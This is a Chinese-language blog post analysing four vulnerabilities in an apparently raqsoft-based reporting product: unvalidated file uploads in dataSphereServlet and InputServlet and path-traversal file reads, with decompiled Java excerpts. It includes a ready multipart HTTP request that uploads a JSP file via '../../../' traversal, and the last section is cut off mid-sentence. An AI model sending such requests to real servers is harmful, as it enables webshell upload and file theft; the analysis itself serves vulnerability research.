某报表漏洞分析

admin 2025年5月12日08:49:59某报表漏洞分析已关闭评论4 views字数 2425阅读8分5秒阅读模式
 1.dataSphereServlet文件上传漏洞
某报表漏洞分析

server-name里面有对应的类 进入 com.raqsoft.guide.web.DataSphereServlet 进入该类

某报表漏洞分析

action=38时,代码仅获取文件名并保存,未验证文件类型

Upload upload = new Upload(this.getServletConfig(), request,response);String upName = upload.getFileName(0);path = upload.getParameter("path");fm.write(upName, Consts.getStreamBytes(upload.getByteArrayInputStream(0)));

然后通过通过getFilePath方法拼接路径

数据包:POST /servlet/dataSphereServlet?action=38 HTTP/1.1Host: 0.0.0.0User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 388Content-Type: multipart/form-data; boundary=eac629ee4641cb0fe10596fba5e0c5d9--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="openGrpxFile"; filename="test.jsp"Content-Type: text/plain<% out.println("test"); %>--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="path"../../../--eac629ee4641cb0fe10596fba5e0c5d9Content-Disposition: form-data; name="saveServer"

2.InputServlet文件上传

某报表漏洞分析

进入InputServlet类里面 

某报表漏洞分析

跟进UploadFile方法

某报表漏洞分析
核心代码Upload upload = new Upload(servletConfig, request, response);int upsize = Integer.parseInt(upload.getParameter("upsize"));int size = upload.getFileSize(0);if (size > upsize * 1024) {    throw new Exception("上载文件大小" + (int)Math.ceil((double)size / (double)1024.0F) + "k大于最大限制" + upsize + "k");}String upFileName = "";if (upload.getUploadFileCount() == 1) {    upFileName = upload.getFileName(0);}File f = new File(Config.getCachePath() + "/tmp_" + (new Double(Math.random() * (double)100000.0F)).intValue() + "_" + upFileName);FileOutputStream fos = null;try {    fos = new FileOutputStream(f);    byte[] b = InputUtils.getStreamBytes(upload.getByteArrayInputStream(0));    fos.write(b);    fos.flush();finally {    try {        fos.close();    } catch (Exception var31) {    }}InputSessionListener.addFile(request.getSession(), f.getAbsolutePath(), (Object)null);

使用Config.getCachePath()获取上传文件的目标路径,然后与文件名拼接成完整路径

upFileName的值由upload.getFileName(0)获取,可以控制上传文件的文件名

3.dataSphereServlet文件读取漏洞

某报表漏洞分析

path参数直接来自用户请求,未经过严格过滤

if (!saveServer) {    s = SaveUtil.readFile(new File(abPath));}

当saveServer为false时,代码会读取并返回文件内容给客户端

4.dataSphereServlet文件读取漏洞

某报表漏洞分析

进入DownloadFile()方法

某报表漏洞分析
// 获取文件参数String fileName = request.getParameter("file");// 根据获取的文件名构造文件对象File f = new File(Config.getCachePath(), fileName);// 检查文件是否存在if (!f.exists()) {    throw new Exception("Download file is not exist!");}// 读取文件内容FileInputStream fis = new File(Config.getCachePath(), fileName);byte[] b = InputUtils.getStreamBytes(fis);fileName参数直接从用户请求中获取,没有对其进行严格

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日08:49:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某报表漏洞分析https://cn-sec.com/archives/4052587.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.